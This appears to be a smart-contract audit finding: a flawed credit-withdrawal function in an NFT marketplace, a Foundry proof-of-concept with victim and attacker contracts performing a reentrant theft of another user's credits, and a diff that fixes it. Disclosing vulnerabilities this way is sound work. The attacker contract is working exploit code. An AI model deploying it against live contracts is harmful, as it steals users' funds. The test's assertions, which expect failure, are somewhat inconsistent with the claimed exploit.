function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
@> (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
function test_reentrancyAttack() public{
_mintNFT();
_listNFT();
vm.deal(address(market), 100 ether);
VictimContract victim = new VictimContract(address(market));
vm.deal(address(victim), BUY_NOW_PRICE+0.01 ether);
victim.placeBid{value: BUY_NOW_PRICE+0.01 ether}(TOKEN_ID);
AttackerContract attacker = new AttackerContract(address(market), address(victim));
vm.deal(address(attacker), BUY_NOW_PRICE+0.01 ether);
vm.expectRevert("Withdraw failed");
attacker.attackWithdraw();
assertEq(address(attacker).balance, 0, "Attacker should not have stolen any funds");
}
contract VictimContract {
BidBeastsNFTMarket market;
address public owner;
constructor(address _market){
market = BidBeastsNFTMarket(_market);
}
receive() external payable {
if(msg.sender == address(market)){
revert("Reverting to simulate payout failure");
}
}
function placeBid(uint256 tokenId) external payable {
market.placeBid{value: msg.value}(tokenId);
}
}
contract AttackerContract {
BidBeastsNFTMarket market;
address victim;
constructor(address _market, address _victim){
market = BidBeastsNFTMarket(_market);
victim = _victim;
}
receive() external payable {
if(msg.sender == address(market)){
if (address(this).balance==0) {
revert("No funds to steal");
}
if(address(market).balance >= 0.01 ether){
attackWithdraw();
}
else{
return;
}
}
}
function attackWithdraw() public {
market.withdrawAllFailedCredits(victim);
}
}
- function withdrawAllFailedCredits(address _receiver) external {
+ function withdrawAllFailedCredits() external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}